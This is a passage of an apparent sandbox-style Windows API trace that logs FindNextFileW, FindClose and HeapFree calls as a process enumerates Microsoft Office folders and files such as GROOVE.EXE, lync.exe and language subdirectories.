cAlternateFileName="")) returned 0 [0107.474] FindClose (in: hFindFile=0x4260590 | out: hFindFile=0x4260590) returned 1 [0107.474] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0107.474] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 1 [0107.477] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0107.477] FindNextFileW (in: hFindFile=0x4260110, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1865b8d4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Components", cAlternateFileName="COMPON~1")) returned 0 [0107.477] FindClose (in: hFindFile=0x4260110 | out: hFindFile=0x4260110) returned 1 [0107.477] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0107.477] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 0 [0107.477] FindClose (in: hFindFile=0x4260310 | out: hFindFile=0x4260310) returned 1 [0107.477] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0107.479] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18681a5c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ad3e4a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ad3e4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sounds", cAlternateFileName="")) returned 1 [0107.483] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0107.483] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1907d846, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1907d846, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Places", cAlternateFileName="")) returned 1 [0107.486] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0107.486] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 1 [0107.490] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0107.490] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 0 [0107.490] FindClose (in: hFindFile=0x4260590 | out: hFindFile=0x4260590) returned 1 [0107.490] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0107.490] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1907d846, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b6c9560, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolBMPs", cAlternateFileName="")) returned 1 [0107.494] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0107.494] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolData", cAlternateFileName="")) returned 1 [0107.500] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0107.500] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 1 [0107.501] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0107.501] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 0 [0107.501] FindClose (in: hFindFile=0x4260590 | out: hFindFile=0x4260590) returned 1 [0107.501] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0107.501] FindNextFileW (in: hFindFile=0x4260110, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1983d259, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1983d259, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 0 [0107.501] FindClose (in: hFindFile=0x4260110 | out: hFindFile=0x4260110) returned 1 [0107.501] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0107.503] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 1 [0107.901] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0107.901] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 0 [0107.902] FindClose (in: hFindFile=0x4260510 | out: hFindFile=0x4260510) returned 1 [0107.902] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0107.905] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdd36584, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdf403dbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdf58154c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf370c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1 [0107.909] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eedb8 | out: hHeap=0x440000) returned 1 [0107.909] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5fbe0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EUROTOOL.XLAM", cAlternateFileName="EUROTO~1.XLA")) returned 1 [0107.910] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eedb8 | out: hHeap=0x440000) returned 1 [0107.910] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SOLVER", cAlternateFileName="")) returned 0 [0107.910] FindClose (in: hFindFile=0x4260810 | out: hFindFile=0x4260810) returned 1 [0107.910] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0107.910] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b27715c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b27715c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="LogoImages", cAlternateFileName="LOGOIM~1")) returned 1 [0108.061] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.063] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdd0d91a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xde4d0d64, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1979a48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="lync.exe", cAlternateFileName="")) returned 1 [0108.082] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.082] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x38b7c4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MeetingJoinAxOC.dll", cAlternateFileName="MEETIN~1.DLL")) returned 1 [0108.499] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.499] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1 [0108.499] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.499] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1 [0108.499] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.499] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf803d796, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf803d796, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf803d796, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1 [0108.500] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.500] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6165f55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6165f55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1 [0108.501] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.501] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1 [0108.501] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.501] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff0bc27, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="el", cAlternateFileName="")) returned 1 [0108.501] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.502] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a3de35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a3de35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1 [0108.502] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.502] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb7dd00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcb7dd00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcb7dd00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1 [0108.503] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.503] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1 [0108.504] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.504] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1 [0108.505] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.505] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi", cAlternateFileName="")) returned 1 [0108.505] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.505] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1 [0108.505] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.505] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa178468, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa178468, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa178468, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1 [0108.506] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.506] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1 [0108.507] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.507] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1 [0108.508] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.508] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf480feb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf480feb5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1 [0108.509] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.509] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4646280, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4646280, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1 [0108.510] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.510] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63a229e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x63a229e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63a229e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1 [0108.510] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.510] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18ae17b, 